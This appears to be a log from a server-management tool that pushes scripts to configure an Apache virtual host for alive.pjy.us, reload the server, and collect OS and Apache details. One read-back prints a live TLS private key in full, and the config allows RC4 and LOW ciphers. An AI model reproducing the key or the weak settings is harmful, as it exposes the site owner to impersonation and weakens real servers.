CustomLog /var/log/apache2/pjy/alive_access.log combined
ErrorLog /var/log/apache2/pjy/alive_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName alive.pjy.us
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb
DocumentRoot /var/www/pjy_alive
<Directory /var/www/pjy_alive>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/pjy/alive_secure_access.log combined
ErrorLog /var/log/apache2/pjy/alive_secure_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
2025-12-31 06:01:33:
PUT: /tmp/pkp791217
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=pjy_alive_us.conf
TARGET=/etc/apache2/sites-enabled/pjy_alive_us.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName alive.pjy.us
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/pjy_alive
<Directory /var/www/pjy_alive>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/pjy/alive_access.log combined
ErrorLog /var/log/apache2/pjy/alive_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName alive.pjy.us
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb
DocumentRoot /var/www/pjy_alive
<Directory /var/www/pjy_alive>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/pjy/alive_secure_access.log combined
ErrorLog /var/log/apache2/pjy/alive_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/pjy_alive_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/pjy_alive_us.conf)= /etc/apache2//etc/apache2/sites-enabled/pjy_alive_us.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/pjy_alive_us.conf= 1'
fi
2025-12-31 06:01:34:
chmod 755 /tmp/pkp791217; /tmp/pkp791217; rm /tmp/pkp791217
2025-12-31 06:01:34:
2025-12-31 06:01:34:
PUT: /tmp/pkp898987
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-12-31 06:01:34:
chmod 755 /tmp/pkp898987; /tmp/pkp898987; rm /tmp/pkp898987
2025-12-31 06:01:35:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-31 06:01:35: Establishing a connection
2025-12-31 06:01:36:
PUT: /tmp/pkp432555
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-12-31 06:01:37:
chmod 755 /tmp/pkp432555; /tmp/pkp432555; rm /tmp/pkp432555
2025-12-31 06:01:37:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost cityelectric.online (/etc/apache2/sites-enabled/cityelectric_www_online.conf:2)
port 80 namevhost cdn4.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf:2)
port 80 namevhost alive.pjy.us (/etc/apache2/sites-enabled/pjy_alive_us.conf:2)
port 80 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:2)
port 80 namevhost stage.theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_stage.conf:2)
*:443 is a NameVirtualHost
default server cityelectric.online (/etc/apache2/sites-enabled/cityelectric_www_online.conf:19)
port 443 namevhost cityelectric.online (/etc/apache2/sites-enabled/cityelectric_www_online.conf:19)
port 443 namevhost cdn4.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf:18)
port 443 namevhost alive.pjy.us (/etc/apache2/sites-enabled/pjy_alive_us.conf:19)
port 443 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:22)
port 443 namevhost stage.theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_stage.conf:18)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-31 06:01:37:
PUT: /tmp/pkp585208
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/pjy_alive_us.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-31 06:01:37:
chmod 755 /tmp/pkp585208; /tmp/pkp585208; rm /tmp/pkp585208
2025-12-31 06:01:37:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/pjy_alive_us.conf 1144
<VirtualHost *:80>
ServerName alive.pjy.us
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/pjy_alive
<Directory /var/www/pjy_alive>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/pjy/alive_access.log combined
ErrorLog /var/log/apache2/pjy/alive_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName alive.pjy.us
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb
DocumentRoot /var/www/pjy_alive
<Directory /var/www/pjy_alive>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/pjy/alive_secure_access.log combined
ErrorLog /var/log/apache2/pjy/alive_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-31 06:01:37:
PUT: /tmp/pkp702261
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-31 06:01:38:
chmod 755 /tmp/pkp702261; /tmp/pkp702261; rm /tmp/pkp702261
2025-12-31 06:01:38:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb 5356
53:42:be:58:01:c4:53:2f:61:65:1c:4a:71:2b:f8:7a
-----BEGIN CERTIFICATE-----
MIIE/TCCA+WgAwIBAgISBqRCuV/kHaUQNs8n6autgKlVMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjMxMDUwMjU3WhcNMjYwMzMxMDUwMjU2WjAXMRUwEwYDVQQD
EwxhbGl2ZS5wankudXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCr
k06yk15M4nC54vkjsllAlTL312Bo0rZRwcXo7qe7XDMboSHbAhfYrihCAnAryV7R
xmM3h5OAw8uKclOTVOHpl7vbqQUxjW880W5Sw8ueMXPwc4pLA/JcCi06Wnshfhxq
10cKMQK/2Yo+8x3gF/YyP4EOs4wUDATttNLYockFPaV82zB0nTMK6UKoLcGzxNZo
UVzyX+aGd1oV4X8NAZ1kTuFdgV1GHsytlbg76ogtkQo0oli6P8XuVQWGhH/+SCs9
NDsu/6x++ZFDhKveSNvBplFPh4p1SXjDfq4kaGqqdHLpQXNmhFOLC+lb4/uC3E6R
68fXDyUTMACqMEz8Qk3RAgMBAAGjggIlMIICITAOBgNVHQ8BAf8EBAMCBaAwHQYD
VR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0O
BBYEFBGY4UR8oCe1mRDshLOP7tBJcYPXMB8GA1UdIwQYMBaAFOernw8sM6BT015P
eMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3Ix
My5pLmxlbmNyLm9yZy8wFwYDVR0RBBAwDoIMYWxpdmUucGp5LnVzMBMGA1UdIAQM
MAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5j
ci5vcmcvODYuY3JsMIIBDQYKKwYBBAHWeQIEAgSB/gSB+wD5AHcADleUvPOuqT4z
GyyZB7P3kN+bwj1xMiXdIaklrGHFTiEAAAGbcv86hwAABAMASDBGAiEA9HJ+HVrY
dV5orry0OBpxH9GTnBNrA8tR3qgUeyGG4MwCIQDOMjtEVWACq+305ryIeCqn5qkb
iEliHLSmbMaD5l/AFQB+AHF+lfPCOIptseOEST0x4VqpYgh2LUIA4AUM0Ge1pmHi
AAABm3L/OywACAAABQAFotjFBAMARzBFAiAWg9uifZtZoWXfJAcmoCr//ZFKs9aj
KtetPXqF5sugKwIhAOfK/KXoaGtttXjuWuT26NzNBazIwpO0qAv1x3nhdAdnMA0G
CSqGSIb3DQEBCwUAA4IBAQCUp3Ltgf9rfcj9BKt2aBH3hEjja1FwN2XMsAs/bBKX
kYp1llsnBjNJ4PNn2ZYYnZun4ndQJMJTWJCxKDPGcR3QOMXPm+DXxAwAn3aOV5bm
z/ksL/59o5w2yfrSoeDec5ddG/cKkX/6zas1WXKN5ykCERtFiEzBumymb6B+jU9c
gUYq3Dpkrc51xll0dvH2y26+kPWgSyuh2oucr03UeBQFUtTepO9MCY+Wsaq67Qfq
W2O2tBhXcIOb3l3xIAo6n3lSPCLGEo+FPTro0ob3Y9d7qh8DdFEo4otE3JmOxRTo
JDevasbMR/j+9bWm2jUeGh0RSFM2KGmlafNidXMv65g2
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCrk06yk15M4nC5
4vkjsllAlTL312Bo0rZRwcXo7qe7XDMboSHbAhfYrihCAnAryV7RxmM3h5OAw8uK
clOTVOHpl7vbqQUxjW880W5Sw8ueMXPwc4pLA/JcCi06Wnshfhxq10cKMQK/2Yo+
8x3gF/YyP4EOs4wUDATttNLYockFPaV82zB0nTMK6UKoLcGzxNZoUVzyX+aGd1oV
4X8NAZ1kTuFdgV1GHsytlbg76ogtkQo0oli6P8XuVQWGhH/+SCs9NDsu/6x++ZFD
hKveSNvBplFPh4p1SXjDfq4kaGqqdHLpQXNmhFOLC+lb4/uC3E6R68fXDyUTMACq
MEz8Qk3RAgMBAAECggEAM1e//5E48WH7oKyqqEN5EOn02BSj3Ypck6ecTUGJgPgs
tRJpWqvMLgOjuWkYXwoB7V1kGFxiR/CPaq0elGKcvfWxeiCglL0Bsh3r2SmNN5gN
3UD9+8fBEUjcUu97lEC0SUaFlCepbnavN3oyEPqqqku1l4wkGWWlXeq0A66aRI45
9z1L7B1NyniGBU8odG9QWLT8a5Wqr+gwh2uJN76XGEDlKUYjTIPS7ciCIpqQl7L2
lQBD0iVbwHZOGDFC04CJ2IUuRyzTx1Umq2q3TIcLYpO39QbRVxH7STrF2dzlGJuK
wTjl03zeSa7gjWbcds0CAUoWN9w3MGrsBPKBhXFPPwKBgQDa/yNhlUZ/C+lo6lpT
rZ9kM1+Idhm6EVIjaKp2J85AfwystEL5Qnfp4RlGaE3Vjh9IPu9WmDScNDcN7NgU
lnDQqCY/ePlwlLgHAll5bN/nmDiOQYoEPZo9kpvKPpoCwPGG4/WeC2eW7A/T4yzD
HiWEr4ZtNAMMlv7mDAqWXRETVwKBgQDIkO3uvm19RZ8jBRbpy/TdFSX6M+rE4Gh6
vIn9BPm7xVlsLqdd0ytasBbCKCNKXfk1+Up9okk4kj6D+MpK2matbQnfvuLnuVhg
ktpY0ucPEfav1itxIzFWhbon0EjFQ8MP/ICuHk5jk1G2UgoDp6cvg/pwUCNtob0r
aAbjRbFXFwKBgQCE7YEoZleYHj7bdATH7gdl5tkCF82d542X+JwfhCHpfDTRT8mn
SvVGfV++IOm9yrqqO6lDQrgMaJVSWoT+WiK4RJiSxneCIoNhncd5sOBnzznk/1sr
H8lTvn3Z0Q3ixgLVAeHAwONr9HXXA3nUJaRYWcKa3otLRQwLzxtOEcefmQKBgQCL
wcm6OgGLcE8ilPJReeingYwUG8c05vaGyAgTQjtO54aXRq8jRvmH2PoS0us8b90v
CgYpI0OIYwei6GL149f2cuuVeKseM13s9Yemq1eMfcT64+8jiBViKA7+nTmIE97B
rf5w1fdjlY0z0VjfER0DlCCX0I/PXgu2Sme6SJ75gwKBgQDWZR2Fa4C0fyASXW6f
UgfW9HXHdN5q3sv4WFqPvArKTHJlx3B6LvOL2yZLGW1rnnI8tPiZw8LOYYYzmfpV
miWSHTy8XKJMtWJY/dG+YV2G+gbNVqeKd1kEKeYl6evAfZhcBlUHKqn1vPPPkKAz
+ilf+BPfiIWUFBp6ZA92v4qhXw==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-12-31 06:01:38: Establishing a remote connection
2025-12-31 12:35:43: Establishing a connection
2025-12-31 12:35:55: Establishing a connection
2025-12-31 12:35:56: Performing Server Status
2025-12-31 12:35:56:
PUT: /tmp/pkp136825
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
show_hostname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
hostname >> $temp_file
echo >> $temp_file
}
show_arc() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -m >> $temp_file
echo >> $temp_file
}
show_uname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -r -s >> $temp_file
echo >> $temp_file
}
if [ -f /etc/centos-release ]; then
show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
show_file /proc/swaps
fi
show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'
gzip -cn9 $temp_file
rm $temp_file
2025-12-31 12:35:57:
chmod 755 /tmp/pkp136825; /tmp/pkp136825; rm /tmp/pkp136825
2025-12-31 12:35:57:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.3 LTS"
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.3 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.3 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename Type Size Used Priority
/swap.img file 4194300 2816 -2
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
rog
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-90-generic
2025-12-31 12:35:57:
PUT: /tmp/pkp821726
#!/bin/bash
# get service version
apache_output() {
sub_file=$(mktemp)
script -q -c "$1 -V" $sub_file
cat $sub_file
rm $sub_file
}
apache_output2() {
$1 -V
}
apachectl_output() {
temp_file=$(mktemp)
apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
pid=`cat $file`;
cat $temp_file
rm $temp_file
# also get user/group
echo pid: $pid
if [ -d "/etc/apache2/sites-available" ]; then
echo available=sites-available
elif [ -d "/etc/apache2/hosts.d" ]; then
echo available=hosts.d
elif [ -d "/etc/apache2/conf.d" ]; then
echo available=conf.d
fi
echo [ps]
ps up $pid
}
apachectl_enabled() {
temp_file=$(mktemp)
apachectl -t -D DUMP_MODULES > $temp_file 2>&1
echo [modules]
cat $temp_file
rm $temp_file
}
if [[ "$OSTYPE" == "darwin"* ]]; then
echo [apache2]
apache_output2 /usr/sbin/httpd
elif [ -e "/usr/sbin/httpd" ]; then
echo [httpd]
apache_output /usr/sbin/httpd
if [ -d "/etc/httpd/conf.d" ]; then
echo available=conf.d
fi
fi
if [ -e "/usr/sbin/apache2" ]; then
echo [apache2]
source /etc/apache2/envvars
apache_output2 /usr/sbin/apache2
apachectl_output
apachectl_enabled
fi
2025-12-31 12:35:58:
chmod 755 /tmp/pkp821726; /tmp/pkp821726; rm /tmp/pkp821726
2025-12-31 12:35:58:
[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built: 2025-08-11T11:10:09
Server's Module Magic Number: 20120211:129
Server loaded: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture: 64-bit
Server MPM: prefork
threaded: no
forked: yes (variable process count)
Server compiled with....
-D APR_HAS_SENDFILE
-D APR_HAS_MMAP
-D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
-D APR_USE_PROC_PTHREAD_SERIALIZE
-D APR_USE_PTHREAD_SERIALIZE
-D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
-D APR_HAS_OTHER_CHILD
-D AP_HAVE_RELIABLE_PIPED_LOGS
-D DYNAMIC_MODULE_LIMIT=256
-D HTTPD_ROOT="/etc/apache2"
-D SUEXEC_BIN="/usr/lib/apache2/suexec"
-D DEFAULT_PIDLOG="/var/run/apache2.pid"
-D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
-D DEFAULT_ERRORLOG="logs/error_log"
-D AP_TYPES_CONFIG_FILE="mime.types"
-D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 437995
available=sites-available
[ps]
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 437995 0.0 0.2 256144 35388 ? Ss Dec19 0:33 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
core_module (static)
so_module (static)
watchdog_module (static)
http_module (static)
log_config_module (static)
logio_module (static)
version_module (static)
unixd_module (static)
access_compat_module (shared)
alias_module (shared)
auth_basic_module (shared)
authn_core_module (shared)
authn_file_module (shared)
authz_core_module (shared)
authz_host_module (shared)
authz_user_module (shared)
autoindex_module (shared)
deflate_module (shared)
dir_module (shared)
env_module (shared)
filter_module (shared)
mime_module (shared)
mpm_prefork_module (shared)
negotiation_module (shared)
php_module (shared)
proxy_module (shared)
proxy_html_module (shared)
proxy_http_module (shared)
proxy_wstunnel_module (shared)
reqtimeout_module (shared)
rewrite_module (shared)
setenvif_module (shared)
socache_shmcb_module (shared)
ssl_module (shared)
status_module (shared)
xml2enc_module (shared)
2025-12-31 12:35:58:
SERVER INFO (php_model): array (
'debian' => 1,
'redhat' => 0,
'name' => 'rog',
'arch' => 'x86_64',
'raspbian' => 0,
'osdesc' => 'Ubuntu 24.04.3 LTS',
'rel' => '24.04.3',
'mac' => 0,
'distro' => 'ubuntu',
'swapfile' => '/swap.img',
'web' =>
array (
'apache2' =>
array (
'conf' => 'apache2.conf',
'config' => '/etc/apache2',
'user' => 'www-data',
'group' => 'www-data',
'available' => 'sites-available',
'running' => 1,
),
'modules' =>
array (
0 => 'core_module',
1 => 'so_module',
2 => 'watchdog_module',
3 => 'http_module',
4 => 'log_config_module',
5 => 'logio_module',
6 => 'version_module',
7 => 'unixd_module',
8 => 'access_compat_module',
9 => 'alias_module',
10 => 'auth_basic_module',
11 => 'authn_core_module',
12 => 'authn_file_module',
13 => 'authz_core_module',
14 => 'authz_host_module',
15 => 'authz_user_module',
16 => 'autoindex_module',
17 => 'deflate_module',
18 => 'dir_module',
19 => 'env_module',
20 => 'filter_module',
21 => 'mime_module',
22 => 'mpm_prefork_module',
23 => 'negotiation_module',
24 => 'php_module',
25 => 'proxy_module',
26 => 'proxy_html_module',
27 => 'proxy_http_module',
28 => 'proxy_wstunnel_module',
29 => 'reqtimeout_module',
30 => 'rewrite_module',
31 => 'setenvif_module',
32 => 'socache_shmcb_module',
33 => 'ssl_module',
34 => 'status_module',
35 => 'xml2enc_module',
),
),
)
2025-12-31 12:35:58:
PUT: /tmp/pkp252484
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
if [ ! -f "/usr/bin/add-apt-repository" ]; then
apt-get -y install software-properties-common > $temp_file 2>&1
fi
apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C > $temp_file 2>&1
add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
apt-get update > $temp_file 2>&1
fi
echo $BOUNDARY >> $temp_file
echo apt-get >> $temp_file
apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
echo >> $temp_file
fi
gzip -cn9 $temp_file
rm $temp_file
2025-12-31 12:35:58:
chmod 755 /tmp/pkp252484; /tmp/pkp252484; rm /tmp/pkp252484
2025-12-31 12:35:59:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
